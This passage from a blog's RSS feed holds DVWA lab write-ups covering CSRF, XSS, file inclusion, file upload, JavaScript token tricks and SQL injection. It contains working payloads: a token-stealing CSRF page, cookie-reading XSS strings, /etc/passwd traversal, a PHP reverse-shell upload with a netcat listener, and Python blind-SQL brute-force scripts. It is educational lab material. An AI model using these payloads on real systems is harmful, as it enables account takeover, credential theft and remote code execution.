</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">submit</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>we can host this page so when victim visit page their password will automatically change.</p>
<p>I&rsquo;m using python to host webpage:</p>
<p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl">C:<span class="se">\U</span>sers<span class="se">\A</span>FTAB SAMA<span class="se">\D</span>ownloads&gt;python -m http.server <span class="m">80</span>
</span></span><span class="line"><span class="cl">Serving HTTP on :: port <span class="m">80</span> <span class="o">(</span>http://<span class="o">[</span>::<span class="o">]</span>:80/<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">::ffff:192.168.173.222 - - <span class="o">[</span>18/Aug/2022 18:03:11<span class="o">]</span> <span class="s2">&#34;GET /csrf-test.html HTTP/1.1&#34;</span> <span class="m">200</span> -
</span></span><span class="line"><span class="cl">::ffff:192.168.173.222 - - <span class="o">[</span>18/Aug/2022 18:03:12<span class="o">]</span> code 404, message File not found
</span></span><span class="line"><span class="cl">::ffff:192.168.173.222 - - <span class="o">[</span>18/Aug/2022 18:03:12<span class="o">]</span> <span class="s2">&#34;GET /favicon.ico HTTP/1.1&#34;</span> <span class="m">404</span> -
</span></span></code></pre></div></details>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>Same attack won&rsquo;t work, looking at sourcecode we know that server checks where the request came from.</p>
<img width="333" alt="image" src="https://user-images.githubusercontent.com/79740895/185403021-db671fc3-c08d-47e2-8a8f-fdb639e50e90.png">
<p>one way to get around is if we can upload our file in server.</p>
<p>Now first of all change csrf.html into csrf.php file, then set low security level and switch into file uploading vulnerability inside DVWA.</p>
<p>Here the above text file of html form is now saved as csrf.php is successfully uploaded in the server which you can see from given screenshot.</p>
<img width="468" alt="image" src="https://user-images.githubusercontent.com/79740895/185402657-d1e47dc3-2884-4619-a5a6-5dafbe459a68.png">
<p>now we can use this new url: <code>http://192.168.170.131/hackable/uploads/csrf.php</code></p>
<p>password changed.</p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>This time it use csrf token. we can read this token if we have same origin and we can do that by uploading our payload to server as shown previously.</p>
<p>upload this code to server:</p>
<p>HTML code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>TOTALLY LEGITIMATE AND SAFE WEBSITE <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;myFrame&#34;</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;http://192.168.170.131/vulnerabilities/csrf&#34;</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;visibility: hidden;&#34;</span> <span class="na">onload</span><span class="o">=</span><span class="s">&#34;maliciousPayload()&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="kd">function</span> <span class="nx">maliciousPayload</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;start&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;myFrame&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">doc</span> <span class="o">=</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">contentDocument</span>  <span class="o">||</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nb">document</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">doc</span><span class="p">.</span><span class="nx">getElementsByName</span><span class="p">(</span><span class="s2">&#34;user_token&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="s2">&#34;http://192.168.170.131/vulnerabilities/csrf/?password_new=hackerman&amp;password_conf=hackerman&amp;Change=Change&amp;user_token=&#34;</span><span class="o">+</span><span class="nx">token</span><span class="o">+</span><span class="s2">&#34;#&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span> <span class="nx">url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;password changed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>on visiting this url it will read token from DOM and create password change request to server.</p>
<img width="478" alt="image" src="https://user-images.githubusercontent.com/79740895/185408922-c1d9e774-3e43-4170-bcda-3c0269fc6260.png">
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>DOM Based Cross Site Scripting (XSS) - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/dom-based-cross-site-scripting-xss/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/dom-based-cross-site-scripting-xss/</guid>
      <description>Trigger an alert pop-up with cookie values using DOM-based XSS.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>We have option to select language and value is reflected in GET parameter default=English.</p>
<p>payload=<code>&lt;script&gt;alert(document.cookie);&lt;/script&gt;</code></p>
<p>using this it will trigger an alert pop up with cookie values.</p>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>we are stuck inside option tag so we have escape that and we can&rsquo;t use script tag because that is blocked so we use image tag.</p>
<p>payload=<code>&quot; &gt;&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>This time server is using whitelist we can bypass that by puting our payload after <code>#</code> because anything after <code>#</code> is not sent to
server but still reflecting on the page.</p>
<p>payload=<code>#&lt;script&gt;alert(document.cookie);&lt;/script&gt;</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>File Inclusion - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/file-inclusion/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/file-inclusion/</guid>
      <description>Read the /etc/passwd file using File Inclusion vulnerability.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>In url there is GET parameter <code>page</code> used for including file.</p>
<p>url:<code>http://192.168.170.131/vulnerabilities/fi/?page=include.php</code></p>
<p>By changing this file location we can read file on server.</p>
<p>url:<code>http://192.168.170.131/vulnerabilities/fi/?page=/etc/passwd</code></p>
<img width="658" alt="image" src="https://user-images.githubusercontent.com/79740895/185410392-bf62fdae-c6c7-4f90-a934-191ffadcf471.png">
<p><em>Also work for medium.</em></p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>we have one condition that file name should start with <code>file</code>.</p>
<img width="343" alt="image" src="https://user-images.githubusercontent.com/79740895/185414371-f1a0cb44-0688-40ab-ae49-1c623e19744f.png">
<p>we can bypass that with payload:<code>file/../../../../../../etc/passwd</code> path traversal.</p>
<img width="456" alt="image" src="https://user-images.githubusercontent.com/79740895/185414731-fda51955-9d13-4b60-893a-f700f29021eb.png">
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>File Upload - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/file-upload/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/file-upload/</guid>
      <description>Exploit the file upload vulnerability to achieve Remote Code Execution (RCE).</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>Create PHP reverse shell file <code>rev.php</code>.</p>
<p>Refference: <a href="https://www.revshells.com/">https://www.revshells.com/</a></p>
<p>Listing IP: <code>192.168.170.131</code> port: <code>9001</code></p>
<p>netcat listener command: <code>nc -lvnp 9001</code></p>
<p>upload the file <code>rev.php</code> and visit the url : <code>http://192.168.170.131/hackable/uploads/rev.php</code></p>
<p>and you have reverse shell:</p>
<p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl">┌─<span class="o">[</span>✗<span class="o">]</span>─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/dvwa<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$nc</span> -lvnp <span class="m">9001</span>
</span></span><span class="line"><span class="cl">listening on <span class="o">[</span>any<span class="o">]</span> <span class="m">9001</span> ...
</span></span><span class="line"><span class="cl">connect to <span class="o">[</span>192.168.170.131<span class="o">]</span> from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>172.17.0.2<span class="o">]</span> <span class="m">54022</span>
</span></span><span class="line"><span class="cl">SOCKET: Shell has connected! PID: <span class="m">331</span>
</span></span><span class="line"><span class="cl">whoami
</span></span><span class="line"><span class="cl">www-data
</span></span><span class="line"><span class="cl">uname
</span></span><span class="line"><span class="cl">Linux
</span></span></code></pre></div><h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>This time it is blocking php file we can bypass that by changing:</p>
<p><code>Content-Type: application/x-php</code>  ==&gt;   <code>Content-Type: image/png</code></p>
<p>we can also do that from browser go to inspect element ,Network tab resubmit the request so it show up on network tab select that upload request right click and Edit and Resend:</p>
<img width="407" alt="image" src="https://user-images.githubusercontent.com/79740895/185420346-ab0c9387-7cc6-4402-9376-b3611f35df46.png">
<p>make changes and hit send button,visit the url and you have reverse shell.</p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>Changing Content-Type is not working maybe server is verifying the file header signature.</p>
<p>add <code>GIF98;</code> at the start of our exploit file and rename it with <code>rev.php.png</code>.</p>
<p>but whene we visit it directly it is not working so we use file inclusion:</p>
<p>url: <code>http://192.168.170.131/vulnerabilities/fi/?page=file/../../../hackable/uploads/rev.php.png</code>     &lt;- security high</p>
<p>and we have reverse shell on our netcat listener.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>JavaScript Attacks - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/javascript-attacks/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/javascript-attacks/</guid>
      <description>Analyze the JavaScript code to reverse the logic and then submit the word &amp;lsquo;success&amp;rsquo; in order to win.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>Submit the word &ldquo;success&rdquo; to win.</p>
<p>we have phrase=ChangeMe and we have to change it to &ldquo;success&rdquo;.
there is token and the value of token is md5(rot13(phrase).</p>
<p>rot13(&ldquo;success&rdquo;)  =  &ldquo;fhpprff&rdquo;</p>
<p>md5(&ldquo;fhpprff&rdquo;)  =  &ldquo;38581812b435834ebf84ebcc2c6424d6&rdquo;</p>
<p>so value of token and phrase:</p>
<p><code>token=38581812b435834ebf84ebcc2c6424d6&amp;phrase=success</code></p>
<p>let&rsquo;s submit this:</p>
<img width="296" alt="image" src="https://user-images.githubusercontent.com/79740895/185639989-2de75e85-045f-4805-902b-b3ce417e88d2.png">
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>The value of token for phrase=ChangeMe is: <code>token=XXeMegnahCXX</code></p>
<p>if we look closely we can see that the value is &ldquo;XX&rdquo; + reverse of phrase + &ldquo;XX&rdquo;</p>
<p>so new value for &ldquo;sseccus&rdquo; will be &ldquo;XXsseccusXX&rdquo;</p>
<p><code>token=XXsseccusXX&amp;phrase=success</code></p>
<img width="333" alt="image" src="https://user-images.githubusercontent.com/79740895/185643241-ae14fb37-4cf9-42bd-a227-c52d2e3e98d1.png">
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>JavaScript is performing following 3 steps to generate token:</p>
<ol>
<li>
<p>reverse the value of phrase:</p>
<p>phrase=success</p>
<p>token=sseccus</p>
</li>
<li>
<p>prepend &lsquo;XX&rsquo; at start and sha256:</p>
<p>token = &lsquo;XX&rsquo; + token = &lsquo;XXsseccus&rsquo;</p>
<p>sha256(token) = sha256(&ldquo;XXsseccus&rdquo;) = &ldquo;7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a&rdquo;</p>
</li>
<li>
<p>append &lsquo;ZZ&rsquo; and sha256:</p>
<p>token = token + &lsquo;ZZ&rsquo; = &ldquo;7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068aZZ&rdquo;</p>
<p>sha256(token) = sha256(&ldquo;7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068aZZ&rdquo;) =
&ldquo;ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84&rdquo;</p>
<p><code>token=ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84&amp;phrase=success</code></p>
<p>let&rsquo;s submit this:</p>
 <img width="365" alt="image" src="https://user-images.githubusercontent.com/79740895/185679989-4835924d-d5ee-4cff-8733-dcba97291dfa.png">
</li>
</ol>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Reflected Cross Site Scripting (XSS) - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/reflected-cross-site-scripting-xss/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/reflected-cross-site-scripting-xss/</guid>
      <description>Trigger an alert pop-up with cookie values using Reflected XSS.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>we have name field which is reflecting on page.</p>
<p>payload=<code>&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<p>It triggers an alert pop up with cookie value.</p>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>_payload of low level also works here: _</p>
<p>payload=<code>&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>_payload of low level also works here: _</p>
<p>payload=<code>&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>SQL Injection - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/sql-injection/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/sql-injection/</guid>
      <description>Use an SQL injection attack to retrieve the admin password.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>We can detect SQL injection with <code>'</code> on submiting this we get SQL error.</p>
<p>we can see all entries with <code>' or 1=1#</code> :</p>
<img width="248" alt="image" src="https://user-images.githubusercontent.com/79740895/185461785-b0426c0a-db1c-4118-b654-fe62a8b607c9.png">
<p>We can extract all passwords with payload:</p>
<p><code>' UNION SELECT user, password FROM users#</code></p>
<img width="271" alt="image" src="https://user-images.githubusercontent.com/79740895/185463551-74dfcac3-bed2-44b5-9fd8-4bf6bcc78e2b.png">
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>It&rsquo;s using POST parameter and quotes are filtered, but ID value is directly added to the query so we dont even need quotes.</p>
<p>payload: <code>1 or 1=1 UNION SELECT user, password FROM users#</code></p>
<img width="326" alt="image" src="https://user-images.githubusercontent.com/79740895/185467076-707fd767-e575-42d1-9b86-5a16937f133d.png">
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>payload from low security also works here.</p>
<p>Payload: <code>' UNION SELECT user, password FROM users#</code></p>
<img width="281" alt="image" src="https://user-images.githubusercontent.com/79740895/185468611-17e12bd2-8513-4844-beac-b0d8d9c27725.png">
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>SQL Injection (Blind) - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/sql-injection-blind/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/sql-injection-blind/</guid>
      <description>Perform a blind SQL injection attack to retrieve the database version.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>Payload to detect vulnerability: <code>1' and sleep(5)#</code> it is taking 5 to response.</p>
<p>Python code to brute force version:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">requests.structures</span> <span class="kn">import</span> <span class="n">CaseInsensitiveDict</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="n">CaseInsensitiveDict</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;security=low; PHPSESSID=to84ds41bhba7ub48s10a8qim0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.170.131/vulnerabilities/sqli_blind/&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">parameters</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1&#39;+and+length(version())%3d</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">%23&amp;Submit=Submit&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">parameters</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;length = </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">length</span> <span class="o">=</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl"><span class="n">j</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">,</span> <span class="mi">126</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">parameters</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1&#39;+and+ascii(substring(version(),</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">,</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s2">))%3d</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s2">%23&amp;Submit=Submit&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">parameters</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl"><span class="nv">length</span> <span class="o">=</span> <span class="m">24</span>
</span></span><span class="line"><span class="cl">10.1.26-MariaDB-0+deb9u1
</span></span><span class="line"><span class="cl">Process finished with <span class="nb">exit</span> code <span class="m">0</span>
</span></span></code></pre></div><h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>Payload to detect vulnerability: <code>1 and sleep(5)</code> it is taking 5 to response.</p>
<p>Python code to brute force version:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">requests.structures</span> <span class="kn">import</span> <span class="n">CaseInsensitiveDict</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="n">CaseInsensitiveDict</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;security=medium; PHPSESSID=to84ds41bhba7ub48s10a8qim0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Content-Type&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.170.131/vulnerabilities/sqli_blind/&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">parameters</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1+and+length(version())=</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">&amp;Submit=Submit&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># parameters = {&#34;id&#34;: f&#39;1+and+length(version())={i}&#39;, &#34;Submit&#34;: &#34;Submit&#34;}</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">parameters</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;length = </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">length</span> <span class="o">=</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl"><span class="n">j</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">,</span> <span class="mi">126</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">parameters</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1+and+ascii(substring(version(),</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">,</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s2">))=</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s2">&amp;Submit=Submit&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">parameters</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">length</span> <span class="o">=</span> <span class="m">24</span>
</span></span><span class="line"><span class="cl">10.1.26-MariaDB-0+deb9u1
</span></span><span class="line"><span class="cl">Process finished with <span class="nb">exit</span> code <span class="m">0</span>
</span></span></code></pre></div><h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>Payload to detect vulnerability: <code>1' and sleep(5)#</code> it is taking 5 to response.</p>
<p>Python code to brute force version:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">requests.structures</span> <span class="kn">import</span> <span class="n">CaseInsensitiveDict</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="n">CaseInsensitiveDict</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;id=1%27+and+length%28version</span><span class="si">%28%</span><span class="s2">29</span><span class="si">%29%</span><span class="s2">3E0%23; security=high; PHPSESSID=to84ds41bhba7ub48s10a8qim0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.170.131/vulnerabilities/sqli_blind/&#39;</span>
</span></span><span class="line"><span class="cl">
